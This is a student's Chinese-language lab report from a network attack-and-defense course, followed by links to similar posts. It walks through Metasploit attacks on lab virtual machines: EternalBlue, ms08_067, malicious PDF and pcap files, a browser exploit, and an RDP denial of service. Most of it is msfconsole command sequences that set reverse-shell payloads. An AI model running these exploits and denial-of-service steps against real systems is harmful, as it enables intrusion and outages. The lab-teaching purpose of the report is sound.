2018-2019-2 20165312《网络攻防技术》Exp5 MSF基础应用
2018-2019-2 20165312《网络攻防技术》Exp5 MSF基础应用
目录
一、知识点总结
二、攻击实例
- 主动攻击的实践
ms08_067payload/generic/shell_reverse_tcp(成功)payload/windows/meterpreter/reverse_tcp(失败)
ms17_010_eternalbluepayload/generic/shell_reverse_tcp(成功)payload/windows/x64/meterpreter/reverse_tcp(成功)payload/windows/x64/meterpreter/bind_tcp(成功且唯一)payload/windows/x64/shell/reverse_tcp_rc4(成功且唯一)
- 攻击浏览器的实践
- 攻击客户端的实践
Adobe(成功)wireshark_packet_dect(成功且唯一)ms10_046exploit/windows/smb/ms10_046_shortcut_icon_dllloader(成功且唯一)
- 成功应用任何一个辅助模块
- 在Exp 5-1中应用
use auxiliary/scanner/portscan/tcp搜索靶机开放端口 MS12-020(CVE-2012-0002)蓝屏攻击(成功)
- 在Exp 5-1中应用
- 主动攻击的实践
一、知识点总结
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六种模块
- 渗透攻击模块
Exploit Modules:攻击漏洞,把shellcode"背"过去- 主动渗透攻击:攻击某个系统服务
- 被动渗透攻击:攻击某个客户端应用
- 辅助模块
Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提- 网络服务的扫描与查点
- 探查敏感信息泄露、Fuzz测试发掘漏洞
- 收集登录密码
- 攻击载荷
Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码 - 空字段模块
Nop Modules- 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
- 由于系统无法精确计算
shellcode的起始地址,所以加入nops以增加攻击成功的概率
- 编码模块
Encoders- 改变
payload形状,使得不出现特定字符 - 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
- 改变
- 后渗透攻击模块
Post:攻击成功之后,动态传输代码使其在被控机执行 - 查看六种模块源码目录
/usr/share/metasploit-framework/modules
3.MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息
info [exploits|auxiliary|post|payloads|encoders|nops] - 查看设置信息
show [options] - 查看攻击目标类型
show [target] - 查找命令
search- 查找2016年产生的在windows平台下的漏洞
search ms16 type:exploit platform:windows
- 查找2016年产生的在windows平台下的漏洞
- 查看模块的具体信息
- armitage
- 启动服务器
service postgresql start - 启动armitage
armitage
- 启动服务器
- webgui
二、攻击实例
Exp5-1 实现ms08_067
靶机:Microsoft Windows 2000(10.0.0.140)
payload : generic/shell_reverse_tcp
实验步骤
靶机和攻击机ping成功(建议改成桥接模式)
攻击者试探靶机是否存在ms08_067这个漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.140- 建议使用这个步骤,要不会换很多台虚拟机找靶机……(稍微省事一点吧)
- 查看到靶机的版本号

- 查看到靶机存在ms08_067这个漏洞,有了这个大前提,我们就可以开始攻击了

输入
msfconsole打开metasploit控制台,遇到图下这个问题。因为没有连接到服务器。

输入
service postgresql start启动服务器,再重新进入metasploit控制台就可以了(参考链接)查看一下ms08_067这个漏洞在哪里
search ms08-067

选择漏洞
use exploit/windows/smb/ms08_067_netapi查看设置信息
show options

设置靶机ip
set RHOSTS 10.0.0.140默认端口为445,使用辅助模块查看445端口是否开放
search portscan # 搜索端口
use auxiliary/scanner/portscan/tcp # 使用漏洞
show options #显示设置
set RHOSTS 10.0.0.140 # 设置监听者地址
exploit # 攻击

- 查看targets
show targets也可以看到我们靶机的类型set target 1其实这里不修改也是可以的

- 查看可用payload
show payloads选择generic/shell_reverse_tcp

set payload generic/shell_reverse_tcp- 查看设置信息
show options

- 设置监听者ip
set LHOST 10.0.0.154 - 设置监听者端口号
set LPORT 5312 - 进行攻击
exploit

尝试更换一个payload : windows/meterpreter/reverse_tcp
在刚才的实验基础上我继续尝试了and前面步骤都一样就是payload不一样,但是攻击失败了

我在这篇博客里面找到了一些解释,大概的意思是和端口有关。然后我换了一个端口and重启win2000,然后又出现了这个错误

看英文解释是连接不上了,很显然是win2000出问题了。果然他开始自动重启了,好的这个虚拟机被我玩崩了(快照smile)
Exp5-2 实现MS17_010_eternalblue
靶机:Microsoft Windows 7(10.0.0.168)
payload : generic/shell_reverse_tcp
实验步骤
nmap --script=vuln 10.0.0.168 #查看靶机开放端口、是否存在ms17_010
search ms17_010 #搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue #使用漏洞
show payloads #显示可用攻击载荷
set payload generic/shell_reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 10.0.0.154 #设置监听地址
set RHOSTS 10.0.0.168 #设置靶机地址
exploit #开始攻击
攻击成功


尝试更换一个payload : windows/x64/meterpreter/reverse_tcp
- 攻击成功


尝试再更换一个payload:windows/x64/meterpreter/bind_tcp
- 攻击成功

尝试再更换一个payload:windows/x64/shell/reverse_tcp_rc4
- 攻击成功

正常情况下只要是相对应的payloads都是可以成功的,还有很多选择就不罗列了
Exp5-3 实现ms11_050
靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
payload : generic/shell_reverse_tcp
实验步骤
搜索漏洞
search ms11_050

使用漏洞
use exploit/windows/browser/ms11_050_mshtml_cobjectelement显示靶机类型
show targets

设置靶机类型
set target 3显示可用攻击载荷
show payloads

选择攻击载荷
set payload generic/shell_reverse_tcp显示配置信息
show options

设置监听地址
set LHOST 10.0.0.154设置本地地址
set SRVHOST 10.0.0.154开始攻击
exploit

but攻击失败了


我尝试把IE浏览器的安全级别降到最低,失败again
重新在虚拟机中下载IE7(抱着低版本或许好攻击的想法),失败again
用同样的方法我攻击了 Windows 7 + IE8 ,我遇到了同样的问题
开始思考为什么,我猜测是IE浏览器的问题,and我还没解决……
Exp5-4 实现ms10_046
靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
payload : windows/meterpreter/reverse_tcp
实验步骤
首先查看还有哪些浏览器漏洞
cd /usr/share/metasploit-framework/modules/exploits/windows/browser输入
ls命令即可看到很多漏洞代码,随意选择一个吧

输入
msfconsole进入控制台,并使用刚才找到的exploituse windows/browser/ms10_046_shortcut_icon_dllloader查看一下这个漏洞的作用的作用
info通过查看Description可以知道
这个模块利用了Windows快捷方式文件(. lnk)处理中的一个漏洞,该文件包含指向恶意DLL的图标资源。此模块创建一个WebDAV服务,当以UNC路径访问该服务时,可以使用该服> 务运行任意负载。
- 接着就是一些常规操作
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 10.0.0.154 #设置监听地址
exploit #进行攻击
- 在靶机用浏览器打开链接


- 虽然靶机进入到了共享文件夹,但是监听方这边却显示无会话。且我在靶机刷新页面,监听方也是可以监控到。但是一直显示无会话,我猜测或许是会话中断了,但是却没有任何报错显示,无从查证。
- 没错,我又尝试了winXP+IE8。结果是一样的,也是可以访问共享文件,但是一直显示无会话……


- 然后,我又尝试了win2000,IE根本就访问不了那个页面
- 不死心的我,尝试了ms10_046的另外一个exploit,然后实现了下一个实验的成功
Exp5-5 实现ms14_064
靶机:Windows XP
实验步骤
search ms14_064 #进行查找
use exploit/windows/browser/ms14_064_ole_code_execution #选择攻击模块
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #设置tcp反向连接
show targets #查看靶机
set SRVHOST 10.0.0.154 #设置攻方IP
set AllowPowerShellPrompt true #因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 10.0.0.154
set target 0 #设置winXP靶机
exploit #攻击

- 攻击成功

Exp5-6 实现Adobe
靶机:Windows XP
实验步骤
search adobe #进行查找
use windows/fileformat/adobe_cooltype_sing #使用漏洞
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 10.0.0.154 #攻击者地址
set FILENAME 20165312.pdf #设置生成pdf文件的文件名
exploit #攻击

- 将生成的
20165312.pdf复制到Windows XP中 - kail中输入
back退出当前模块,进入监听模块
use exploit/multi/handler #进入监听模块
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 10.0.0.154 #攻击者地址
exploit #攻击
- 在靶机中打开
20165312.pdf

- 攻击成功

Exp5-7 实现wireshark_packet_dect
靶机:Windows XP
实验步骤
cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat #万里挑一只为exploit
msfconsole #进入控制台
use exploit/windows/fileformat/wireshark_packet_dect.rb #使用漏洞
info #查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 10.0.0.154 #攻击者地址
exploit #攻击


- 将生成的
passwords.pcap复制到Windows XP中 - kail中输入
back退出当前模块,进入监听模块
use exploit/multi/handler #进入监听模块
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 10.0.0.154 #攻击者地址
exploit #攻击
在靶机中打开
passwords.pcap

攻击成功

Exp5-8 实现ms10_046
靶机:Windows 7 + IE8
exploit : exploit/windows/smb/ms10_046_shortcut_icon_dllloader
payload : windows/meterpreter/reverse_tcp
实验步骤
search ms10-046 #看看其他的exploit
use exploit/windows/smb/ms10_046_shortcut_icon_dllloader #使用漏洞
show payloads #显示可用攻击载荷
set windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 10.0.0.154 #设置监听地址
set SRVHOST 10.0.0.154 #设置本地收听地址
set RHOSTS 10.0.0.168 #设置靶机地址
exploit #开始攻击

将
/root/.msf4/local/msf.lnk共享到win7虚拟机中,然后双击,即可在kail监听到,输入sessions查看当前会话

输入
sessions -i 1即可选择第一个会话,然后就攻击成功(终于……)

Exp5-9 实现MS12-020(CVE-2012-0002)蓝屏攻击
靶机:Windows Server 2008 R2
实验步骤
search ms12-020 #搜索漏洞
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids #使用漏洞
show options #查看配置信息
set RHOST 10.0.0.132 #设置攻击IP
exploit #开始攻击
- 攻击成功


三、实验中遇到的问题及解决方案
1.在实现ms08-067的时候,一开始我的靶机我使用的是windows xp系统,但是一直没有会话建立

- 参考一位学长的博客(讲解超级详细),发现了其中的原因。
- 第一点我忘记了一个大前提,我没有先扫描靶机存在的漏洞,使用
nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.165发现windows xp里面就没有这个漏洞

- 然后在windows xp中输入
systeminfo命令,原来windows xp里面已经有了ms08-067漏洞的补丁


2.进行exploit攻击的时候,出现了如下问题

- 我理解的意思大概就是被占用了,然后我试过换端口,没有起作用。最好的方法是重启msf
3.进行MS12-020攻击的时候,出现了如下问题

- 我理解的意思大概是和RDP有关,参考这篇博客开启了Windows Server 2008 R2的RDP服务,然后就攻击成功了
四、实验总结
1.实验总结与体会
实验的过程中一直困苦于no sessions的问题,有些问题最后解决了,有些问题还在遗留,总体上收获很大。虽然之前也使用过msfconsole,但是这次实验从系统上了解了他的六大模块,实验中用的最多的还是exploit和payload。从这次实验,我也更加感受到nmap的强大,感觉nmap和auxiliary的作用有相似之处。之前在做其他课程的实验也使用过nmap,但是这次却让我实验效率提高。
2.离实战还缺些什么技术
啊,这可是差的远了。实验参考了往届学长学姐的分析和做法,也尝试了新的攻击方法,遇到很多问题,好在成功了。对于msf我还是个小白,距离实战还有很远很远的路。
3.用自己的话解释什么是exploit,payload,encode.
exploit攻击者对靶机进行攻击的这一过程
payload攻击者进行攻击的“武器”
encode编码,使得shellcode改变形状,不具有特定字符
2018-2019-2 20165312《网络攻防技术》Exp5 MSF基础应用的更多相关文章
- 2018-2019-2 20165206 网络攻防技术 Exp5 MSF基础应用
- 2018-2019-2 20165206<网络攻防技术>Exp5 MSF基础应用 - 实验任务 1.1一个主动攻击实践,如ms08_067; (1分) 1.2 一个针对浏览器的攻击,如 ...
- 20155226《网络攻防》 Exp5 MSF基础应用
20155226<网络攻防> Exp5 MSF基础应用 基础问题回答 1.用自己的话解释什么是exploit,payload,encode? exploit : Exploit的英文意思就 ...
- 20155318 《网络攻防》Exp5 MSF基础应用
20155318 <网络攻防>Exp5 MSF基础应用 基础问题 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码传 ...
- 20145236《网络攻防》Exp5 MSF基础应用
20145236<网络攻防>Exp5 MSF基础应用 一.基础问题回答 解释exploit,payload,encode是什么: exploit就是负责负载有用代码的交通工具,先通过exp ...
- 20155301 《网络攻防》 Exp5 MSF基础应用
20155301 <网络攻防> Exp5 MSF基础应用 基础问题 1.用自己的话解释什么是exploit,payload,encode 答:exploit就是利用一些工具的,用来收集目标 ...
- 20155321 《网络攻防》 Exp5 MSF基础应用
20155321 <网络攻防> Exp5 MSF基础应用 基础问题 用自己的话解释什么是exploit,payload,encode 关于exploit,我觉得exploit是利用一些工具 ...
- 20155338 《网络攻防》Exp5 MSF基础应用
20155338 <网络攻防>Exp5 MSF基础应用 基础问题回答 1. 用自己的话解释什么是exploit,payload,encode? exploit将真正要负责攻击的代码传送到靶 ...
- 2015306 白皎 《网络攻防》Exp5 MSF基础应用
2015306 白皎 <网络攻防>Exp5 MSF基础应用 一.基础问题 用自己的话解释什么是exploit,payload,encode. exploit指由攻击者或渗透测试者利用一个系 ...
- 20155334 《网络攻防》Exp5 MSF基础应用
一.基础问题回答 解释exploit,payload,encode是什么: 项目 作用 exploit 是负载有用代码的交通工具,让代码到达目的地,并作用 payload 是有具体功能的代码,能够完成 ...
- 20155211 网络攻防技术 Exp08 Web基础
20155211 网络攻防技术 Exp08 Web基础 实践内容 Web前端HTML,能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. We ...
随机推荐
- Python使用requests库,requests.post格式会引发参数不存在问题
Content-Type: application/json #############↓↓↓成功↓↓↓############# import requests url = 'http://loca ...
- session的部分理解
定义 Session:在计算机中,尤其是在网络应用中,称为“会话控制”.Session 对象存储特定用户会话所需的属性及配置信息.这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session ...
- wxPython制作跑monkey工具(python3)-带显示设备列表界面
一. wxPython制作跑monkey工具(python3)-带显示设备列表界面 源代码 Run Monkey.py #!/usr/bin/env python import wx import ...
- 利用iftop找出是谁占用了带宽
第一步:安装EPEL源 yum install epel-release 第二部:安装iftop yum install iftop 然后用iftop命令即可查看相关信息 ift ...
- 通用Mapper的各个方法描述,参考官方
下面是通用Mapper的各个方法描述,主要还是看官方的描述https://mapperhelper.github.io/all/. 基础接口 Select 接口:SelectMapper<T&g ...
- CentOS7装好了开始装wrf了
1. 安装PGI编译器 下载地址:https://www.pgroup.com/products/community.htm(pgi官网社区版) 下载完将其复制到虚拟机内: 补充一下 我是在home ...
- java-14习题
.使用TreeSet集合生成一个不重复随机数组,该数组包含10个100以内的随机整数.输出该随机数组. import java.util.Iterator; import java.util.Tree ...
- html5 知识点简单总结02
三个列表: 1.无序列表 默认样式 实心小圆点 ul type属性 "square" 实心方形 type属性 "circle" 空心圆 type属性 &q ...
- AJAX 应用
ajax简介 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术.Ajax不是一种新的编程语言, ...
- 关于微软小娜Cortana(安卓版)
关于微软小娜,大家都知道是微软发布的全球第一款个人智能助理.它“能够了解用户的喜好和习惯”,“帮助用户进行日程安排.问题回答等”.今天我就向大家介绍一下安卓版的小娜. 首先,和电脑版的小娜一样,安卓版 ...
